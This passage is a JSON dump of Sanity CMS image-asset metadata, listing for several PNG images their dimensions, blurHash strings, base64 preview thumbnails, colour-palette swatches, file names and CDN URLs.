Swatch","background":"#14132d","foreground":"#fff","population":1.08,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#abbdcb","foreground":"#000","population":0.05,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#facc70","foreground":"#000","population":0.04,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a1815c","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e96e12","foreground":"#fff","population":0.68,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436.png","path":"images/sczeoy4w/production/67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436.png","sha1hash":"67a6b552001d3f1250569ea67b4a732e44d2eabe","size":48152,"uploadId":"IGyFXEI62kCxNmemoEW91h56YX8Tym6K","url":"https://cdn.sanity.io/images/sczeoy4w/production/67a6b552001d3f1250569ea67b4a732e44d2eabe-800x436.png"} {"_createdAt":"2022-06-15T20:02:11Z","_id":"image-fef530e78209c994b7aebdd43abd983352399d25-1567x844-png","_rev":"StyfnzRSyhTCbsBlPUm0iu","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:47Z","assetId":"fef530e78209c994b7aebdd43abd983352399d25","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MWQIxp.l%z9G=|XDbqRkadx[.7NFRPt6OX","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAABcRAAAXEQHKJvM/AAACgUlEQVQokRXCa09SYQAA4PNX+hV96Gtf+gmtWVtftFoXzdpsWc0aKk5T1GBMpnjDiZiaGlKkJJJIIHJHrodzP+c973vugCK2nj2YotR5INEsoFmR5aAINVltKGpTVpuK0lRQXUUGRbLfvXvOGWd4+USyCdoMUjOaUW9gLAdz55V4IneWzGdyZYISATJEURcZCZY5mCVBikgETmdnZs39wxsdbvJ2Xn7MoJCoKRoGRKVaYwslslCiShWGIAFDclyuAI5PRd9fuJqgrWn/4O7Q28Gezm7LzaH0jX10t4D8tIYkTIEQAJkHGsPJ50UilUiXYhH6lx/sHIieOOwv1DrSvp7tkQ8j3U+7B+68Or41h7qOlEDFQABT8YzICQAaDCfFzzKhw2AhFuHiSZAqwwOG7yln70X8Ez7XostimZx6b97vmube7OihfAOxmJoNQYoCosYLUrVKls6LLEFClocEKe0nqNe7v58seOwuz7rHvepecjjX+75k333Vj9IXkMK0fBjRJAQSBBAJAPGCJAgKXVNjPslpTr58vvjomc1kWnDOrSyvOCedjhfThwNrMBi+pFKYTpcklkY8J/GszDMqT6s8rVdTxt4EaXmw1Xd/qPOhubd3avyz3WqbHbUtmxyh+TXxwN2KuTGDp1GtLOBFSJVVFte5qs5V6+Vo/cdEZaFv0zZqNY3ZTWPzdtvGvDXgGI4ujeM/F42AvX08hzV5SipnuVIGkkWDx5sC3gT4BZW5SHlRcCvvPYpu/Il88yeDfiK0hjY/Kt8+1U9cVxnvNR7GWprcgLwBuYYMLlWx9T+4UvgribrEKT3MqlFWrRJ1AW8R0XbM3U5tt+nENapd68I/L2ERcD/Z5wkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#474547","foreground":"#fff","population":4.25,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7a0a6e","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#ec19d5","foreground":"#fff","population":5.99,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a4b4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f5b46a","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6c7c9c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ec19d5","foreground":"#fff","population":5.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"fef530e78209c994b7aebdd43abd983352399d25-1567x844.png","path":"images/sczeoy4w/production/fef530e78209c994b7aebdd43abd983352399d25-1567x844.png","sha1hash":"fef530e78209c994b7aebdd43abd983352399d25","size":536249,"uploadId":"ZZBfC9j8UXu0Y0MfVAYpspSpyrlb6LDX","url":"https://cdn.sanity.io/images/sczeoy4w/production/fef530e78209c994b7aebdd43abd983352399d25-1567x844.png"} {"_createdAt":"2022-06-30T20:00:31Z","_id":"image-b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739-png","_rev":"StyfnzRSyhTCbsBlPUmG4R","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:45:58Z","assetId":"b51c1d455a8d690ccfb4187be3bf1e24249771b4","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D9Sr},RjxF?H$*_NVYMxrrn$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.561569688768606,"height":739,"width":1893},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRElEQVQokXWRy24cIRBF+/8/L6vsosSOZjzqbqB4P08EPR7FCyMdIVHicKvY3N83zvsddZzIoXFKsM7jYibXRuud/g2ttUWtlZzzYgvvb4T7jag07q7Yf3/w57bz63TsPhNLpc6LU7Akl6jWtgQppUWMcbGVx4OmTnqIZAnIQ/Gxa27Go6YwFcqU1rr2nMsrzUUhl3l2sVXnaTkzWqeWgrcWMYL3gRQTOUZKTC9ySi9ZLfXZ/njS2VahXoVSCtYKYgzBOYIIXukLbYhGSCGsFudDNSVG7/y/tlmcok+hMQatNVYEUQo5FaL1wokQfSB6TzJCcZ7eGgOWeJTCNgc5E44xllApxb7vS+CNwVtHCOFFDJEoQtpPithLOAZ9ju79zuZD+CKcCY/jwBpDtG61+PmD8fmbSSzp1FfCmWzO79CUHz/5BwqYbbxf5SjLAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403440","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#780c27","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#8c4774","foreground":"#fff","population":0.07,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#acc4cc","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fc74bc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#8c4774","foreground":"#fff","population":0.07,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e8184c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739.png","path":"images/sczeoy4w/production/b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739.png","sha1hash":"b51c1d455a8d690ccfb4187be3bf1e24249771b4","size":156926,"uploadId":"2Jlf1LFlTNSG0nrYiZUopSAQll2fugUp","url":"https://cdn.sanity.io/images/sczeoy4w/production/b51c1d455a8d690ccfb4187be3bf1e24249771b4-1893x739.png"} {"_createdAt":"2022-06-30T19:57:46Z","_id":"image-de072d68e2295d87c8e002bd1abb29648012983f-640x398-png","_rev":"lf1jOsEAA7PAFZMZhZoYVI","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:46Z","assetId":"de072d68e2295d87c8e002bd1abb29648012983f","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V6P@32000000004n%fx[tRoz4o-o-;%2xa?wMxS~RjWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6080402010050252,"height":398,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAABt0lEQVQokZXQ30tTYRgH8PdvKYlCoogYTagglKhIzIEidNFNV/0NnYkulTTC3HFnW0NlKEsvhiEr+ge8EdwOOGu7iNpc89R23vd5f5z3nLNzjCORXsn88H3guXi+Nw+KqNkn8ezjdysvsvkv+v5vExMCmBBMwMTExMECQIEyDPD9V2t7/6D8w8DALCHQo7eZB28yA7Pp50sbn4tlo20SAEJpEPgXoEEZKG22SPWgVTNMYNyWEvW/Tt2bSd6ZSjxL5z7t7v0xTRqc/seCYYwLYXHOWm2z3sA/a7TZlADo7kzy9rQWfrX4NJUr7JbbhAjOj+9PCCGklDbnolaDYons7MBeWRgG6ptOhaeSoVhiLPmhoH8FLhzHsW3nNNd13U7HdRwbY6vRsOp1eXjoMIZCMS0U025MLI5ouYJeYdL2z+B5fqcTxPN830fXx9Vr0XivsjCsrm2VvtHj8lF30BVFvayol17GB9Xcx1LlfOWeqNYT1S4oiYfq+qZePV/5Vix9czJ9UdEG4uv5UgWk7XUNjc4tDc0tX514f1/dyBcrRFjBb7uDIvOrg/Nr4dnsSGZzS68CF3bX/gK8jmrtA3Gb5QAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#346064","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0a758a","foreground":"#fff","population":0.59,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#5997a7","foreground":"#fff","population":1.29,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cda3a4","foreground":"#000","population":0.49,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a2cdea","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5997a7","foreground":"#fff","population":1.29,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bc242c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"de072d68e2295d87c8e002bd1abb29648012983f-640x398.png","path":"images/sczeoy4w/production/de072d68e2295d87c8e002bd1abb29648012983f-640x398.png","sha1hash":"de072d68e2295d87c8e002bd1abb29648012983f","size":17374,"uploadId":"uF7UpcEWLE1fulOq5BWRh6sOy9USLD50","url":"https://cdn.sanity.io/images/sczeoy4w/production/de072d68e2295d87c8e002bd1abb29648012983f-640x398.png"} {"_createdAt":"2022-09-26T16:07:08Z","_id":"image-9e519c766d273ef40df06f3fb86f5165632a3445-1928x434-png","_rev":"vDQRRYe9nRreptIRp5kD2z","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:36:19Z","assetId":"9e519c766d273ef40df06f3fb86f5165632a3445","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D15hY}_3%L%Msq%NxuWTt6af","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":4.442396313364055,"height":434,"width":1928},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAECAYAAACOXx+WAAAACXBIWXMAABYlAAAWJQFJUiTwAAAApUlEQVQYlV2OWW7DMAxEfZEIhikuElVZibf7n2wCK3bQ9uNhBgPigcO2bViWBXWeYe4Qd2j5geYCMQdLRuQEYgOJIaqBmDERYZomjOOIEAJCePQcbuHz9UJtDV4rvM5fkhewJURRkOgnI4OIOqf0N8NxHNj3Hd9PT2EpKBfZHZbSX8z+oT1TShhO2bquXdZaQ84ZzAwR6Zw9xti7Xtu933d3V1W8AYTRdiUuNphdAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#542c54","foreground":"#fff","population":0.01,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#200420","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.16,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f089f0","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#54847c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e21ce2","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"9e519c766d273ef40df06f3fb86f5165632a3445-1928x434.png","path":"images/sczeoy4w/production/9e519c766d273ef40df06f3fb86f5165632a3445-1928x434.png","sha1hash":"9e519c766d273ef40df06f3fb86f5165632a3445","size":269319,"uploadId":"JPsM9NzqSriF4DHu3nDbuhTGexLhndyG","url":"https://cdn.sanity.io/images/sczeoy4w/production/9e519c766d273ef40df06f3fb86f5165632a3445-1928x434.png"} {"_createdAt":"2022-09-30T15:36:42Z","_id":"image-7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274-png","_rev":"8WeirZ6KB9gJqgJfvjVEdf","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T18:56:31Z","assetId":"7b09655470d3c0a1b497956a7e426dc6afad3e29","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D3Q,RR_40K00?G~V9Etm00$y","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.9197080291970803,"height":274,"width":800},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAIAAACHqfpvAAAACXBIWXMAAAsTAAALEwEAmpwYAAABRElEQVQYlTWQy07DMBRE8//fwooNa5CgGypApU2T4tqJXcfJ9dtxaB5NUaBIZzcz0tEklLvDEdJcoEKCPvt4Dd0NEyZ6MvuMbfd0l1VpLr4w8Lp17fRXSHCpX1bb9TojpWrUt/HTL6MJkw0jCMUOqDxSXMgDBlzqqonGjz7OPs7J547e3z2sHleUSd60texAn0H3yg4ujIoL/PGG0/zEJCKQo4YwU0GUptduTLK8en56TTc54wZTUzBby6hsb8Pk26kRZvuepZsjLSXCsD+ILywLZnm97JOTiIhoyn3VREINLjWvA+izDYsb6B4Rg4hh3BOqcaEKZih3AqKyQyLtWMmh0aNxkzQ96LOyi5JrL6G72nARchByAN3XsqtlZJVDpCYUBIQkdLOLC6G7tt9/P8+/3D7/T2cfL66dqsanebHLClLCD6XpgRLh6yz/AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#1f273b","foreground":"#fff","population":0.11,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0d34","foreground":"#fff","population":0.38,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0c0d34","foreground":"#fff","population":0.38,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8a19e","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#929fec","foreground":"#000","population":0.07,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a28566","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcb459","foreground":"#000","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274.png","path":"images/sczeoy4w/production/7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274.png","sha1hash":"7b09655470d3c0a1b497956a7e426dc6afad3e29","size":37989,"uploadId":"UbPNKJpFKCHiH96Q3XQncDEkEaPQB4oS","url":"https://cdn.sanity.io/images/sczeoy4w/production/7b09655470d3c0a1b497956a7e426dc6afad3e29-800x274.png"} {"_createdAt":"2022-06-30T19:58:19Z","_id":"image-2af130caa5a5eab8958e84b882373b702536cf1e-551x198-png","_rev":"z4aw9LO53fWpwEzdXNENWc","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:57Z","assetId":"2af130caa5a5eab8958e84b882373b702536cf1e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"D0P?:h00004n~q00%M~qD%WB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.782828282828283,"height":198,"width":551},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAHCAYAAAAIy204AAAACXBIWXMAAAsTAAALEwEAmpwYAAABIUlEQVQokW1OTcuCYBD0B3n04En0FBKG2p8SkuhQRvWnOnn1E1KDUkr7bl524RF8aWGZZWZ3dqTRaATTNDEejxk1TYOqqiDecRzYto3pdMqt6zoURYFhGLAsC5PJBK7r9posy5CWyyV834fneZjNZpjP51gsFgiCAJvNBqTTvNvteCadcL1eM65WK2y3W57pXsrzHGEYYr/fM6ZpirIsUVUVDocD4jgecAKLomAtSRLmjscj89LtduOBjmipbVt8Ph9QvV4vXC4XdF3Xc9/vl/H9frN2vV55FiURIZJQ2vP5jMfjwUv3+x1N0/Dh8/lkjp4I7XQ6DfapJUr0y5ASEZIhPRVG1EIThvSMOOreMIoiZFk2MKQUdV1zwl+GtPvf8A+Y89m2XhxaFwAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#3c3c3c","foreground":"#fff","population":1.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#424242","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c1c1c1","foreground":"#000","population":1.12,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c1c1c1","foreground":"#000","population":1.12,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#bcbcbc","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#838383","foreground":"#fff","population":0.9,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f7f7f","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"2af130caa5a5eab8958e84b882373b702536cf1e-551x198.png","path":"images/sczeoy4w/production/2af130caa5a5eab8958e84b882373b702536cf1e-551x198.png","sha1hash":"2af130caa5a5eab8958e84b882373b702536cf1e","size":21284,"uploadId":"xtt8ImvOUFNILGDJ3qHcC8GFqqBFEOHf","url":"https://cdn.sanity.io/images/sczeoy4w/production/2af130caa5a5eab8958e84b882373b702536cf1e-551x198.png"} {"_createdAt":"2022-06-30T20:00:21Z","_id":"image-a4af59e353e65887cb622fb25ed5950691022b85-1570x661-png","_rev":"StyfnzRSyhTCbsBlPUp4yZ","_type":"sanity.imageAsset","_updatedAt":"2022-09-17T20:59:31Z","assetId":"a4af59e353e65887cb622fb25ed5950691022b85","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MFLp:dxu5QD%-AGG00~q^+Di00D4bcXmRj","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.3751891074130107,"height":661,"width":1570},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAICAYAAAD5nd/tAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDklEQVQokV3RzW/ScBgH8J+HwcWLF+961It6MV69eFzQrf+CM3FbUBOm2UqCB1BjfCO6zIQ4RkyEOJmbzsGMFxcGFsGocys2BfoC7QqlQCkr5fkZiCbg4ZPnJfkenjwIABDGGHUBkK63kCQriKIy/R06fR7NXnGeeUqSkXnPrDF3fRrfvXcftra/QL7IAy+WQCxLIJTK/b5X+8FBqqYhE2P0ka/25xfE5VNvp5yR8JzT8N2axg/8zyDzYxcqNQ1qjSbUm/qQXsj2D2BsU6qqTZJkuyJw9h25Zv884T6bmJh6vTlz1Vj03MThwMsu+20HDIGHtsDDgThI6J2pX6JpepymaaJUlsbZIkfQDEvkGJZgChyR/7TlKi48T+QeetX0Hc/v7/75tBp9Q5lry5QZDVPmSmQIqihKMhaLfY3H41k2X8jmOT6bY9gsky9ki7yYlTl+r0HvqXo6RWvLr3yq10PoXrfDIG9cNFyTDmNmgGvSgTiOawWDwW4oFMI5hsGSUsGiJGNZqWJVq+NGs4mNlgFmu011G/Wxzlr4sHDi6Ih07qStfOyIrXx8GPq5ndAXHz+ylvxPYDeVBK1YgEaxAC2eg7Yo9B2URDClUqqj7I9aGI8Y7mvoF0Ko9Jc4AGUCC80Pt0kz5iEteilg6bF3Vmdj1eq8j1rWoPWVpLWxOmpurvceiHQfeUgdu4D+9wdAfccTENVHMgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#304b4e","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#583518","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#dabcba","foreground":"#000","population":1.66,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#dabcba","foreground":"#000","population":1.66,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f87f79","foreground":"#000","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#a454a4","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#de161c","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png","path":"images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png","sha1hash":"a4af59e353e65887cb622fb25ed5950691022b85","size":256355,"uploadId":"vvFBpxOVtBGFOSNoPcgjfylpTNAsbFxz","url":"https://cdn.sanity.io/images/sczeoy4w/production/a4af59e353e65887cb622fb25ed5950691022b85-1570x661.png"} {"_createdAt":"2022-06-30T19:57:45Z","_id":"image-e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398-png","_rev":"sI1gFaRN7B5HWmjllAASzV","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T16:05:45Z","assetId":"e3b5a806bd2d19b3f4ff687101cc13c89855e06e","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VDNwWe9a00IV00~qWAD%ozIU00of_3of%M_3f+IUWBM{","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6080402010050252,"height":398,"width":640},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAAB8UlEQVQokWPQ8g7S8AxwT8lavnX72w8ffv38BQe/f//++/fvfxj49+/fh4+fd+8/1NTWUVFZ1dDQwKDm4a/i5uucmL5089bXb999+/bt+/fvP8Dg58+ff/78+QcDf//+/fTp8/6DR9o6uiqrqkGalVx8FZy9HeLTFm/a9vrdu+/fv//89esPDPxFAn/+/Pn8+fPRo8e6e3qqq8GaFVx8ZZ287eLSFsE0Q1yLCf78+fPly5cTx4/39fXV1NQ0NjYyyLn4yjj52MaDNL96++4bbs1///4FaT5xor+/v66urqmpiUHayUfK0ds6Nm3hRpCfv3///uvXL1w2f/78+cSJExMmTKivr29ubmaQcPAWs/e0iE5ZsAGqGavNf+CaT55EaBax9xa28zKLTp2/Yeubd+9/gUMLU/PvX79+f/36+d27E8ePI2l28BWy9zGNTpu7YeubDx+x6vzz58+vz59/PHn68dHjE0ePTpg4EapZ2y9K3TvCJCqte+GKG3fvvXqNHbx6/PjFtWuPrlzdu3t3b19ffX09KMD8k3Ld47OMI1LiqlvmrVi9fceOnVjBjh07t23bunnLokWLOju7mpqaWltbGXzSizxSC42j051S8oob2yZOmjx58tTJk6egoylTp4DQlIkTJvb29vX09Pb39wMAYqER6UrQi9cAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#34646c","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19404b","foreground":"#fff","population":16.04,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":16.84,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b6cad2","foreground":"#000","population":0.02,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e29699","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":16.84,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d35f63","foreground":"#fff","population":0.2,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398.png","path":"images/sczeoy4w/production/e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398.png","sha1hash":"e3b5a806bd2d19b3f4ff687101cc13c89855e06e","size":12971,"uploadId":"4WsIkTyYlcp2JEspc8weKfKBK72ddpR1","url":"https://cdn.sanity.io/images/sczeoy4w/production/e3b5a806bd2d19b3f4ff687101cc13c89855e06e-640x398.png"} {"_createdAt":"2022-09-30T15:37:09Z","_id":"image-a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250-png","_rev":"XMqVxILwpPMz4xYxc7uHzF","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T15:53:39Z","assetId":"a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"M9QTGy0MIV?b~V000LIV%2-:00IVNHxakC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.816,"height":250,"width":454},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAA7DAAAOwwHHb6hkAAAB8ElEQVQokV1Rz2tTQRB+/10FQREET55E6MWSBEXEiyepUJL+ESlqRQS1Jk88CG2aqEht0vaSimlaf/Ylb/ft7O7M7G6UfakILsMwO9/MfPPtJpV6++q9Z+drDxeWmgtLzXOVtct3niwuv6zU29VGu7aa1hpp9KtpdbVdjT6txSBCydbOaKW5feXu0ws3H1289fjS7fVqI222dl/3Djd3Rt3BeLt/1BuMP+yfdD6N3n780tk9er9//G7vuNsfJ7+msP7m4EY9vXZ/4/ryq8UHrZW1XndwMvouMmEkYK5soVFbngj9I1N5YcGSMiQUJpPC9A9/trqfn28OX2wNNzrD7t7Xb5nSlok9sTfoDDpLXlsuNGl07AI5D4YSAVYomxc2E+Y01xNpcoWW3Cye3+x8JAEqdGSTQEoTOc8+gKUE2RE7JAcRw0LHOo3MLoTZjJ0vNOUKhUIBKIDAMPvgQ0DiZDabeR+QvCqLcoXTwgoVRTofnAtgOLYpzAsrgSz5UG7lvU9CCN6XGixJHReLJAqVJmTP7kyqLPulJoOM7Nh553xikKncfP6Ac5JpYXOFYLmUw3FimT/zcTRqS8l0/hNIYLDQMas0SrASLBg0yGBI6Qj9tQhJsLkySRbfWWcSJlJlQk1ktEz8i+P1PxMqk3Aq4Q+1E0ihtWpHyQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#324967","foreground":"#fff","population":0.12,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#144484","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2b5ba4","foreground":"#fff","population":2.85,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bccbd7","foreground":"#000","population":2.16,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcfce4","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5672a9","foreground":"#fff","population":0.68,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2b5ba4","foreground":"#fff","population":2.85,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250.png","path":"images/sczeoy4w/production/a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250.png","sha1hash":"a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed","size":21597,"uploadId":"E8IPyIBhMpu6P9gSPw39iz4bvmH9NoeU","url":"https://cdn.sanity.io/images/sczeoy4w/production/a5d5d6475ddf16c5db5e3ee79949bf5dd78a8bed-454x250.png"} 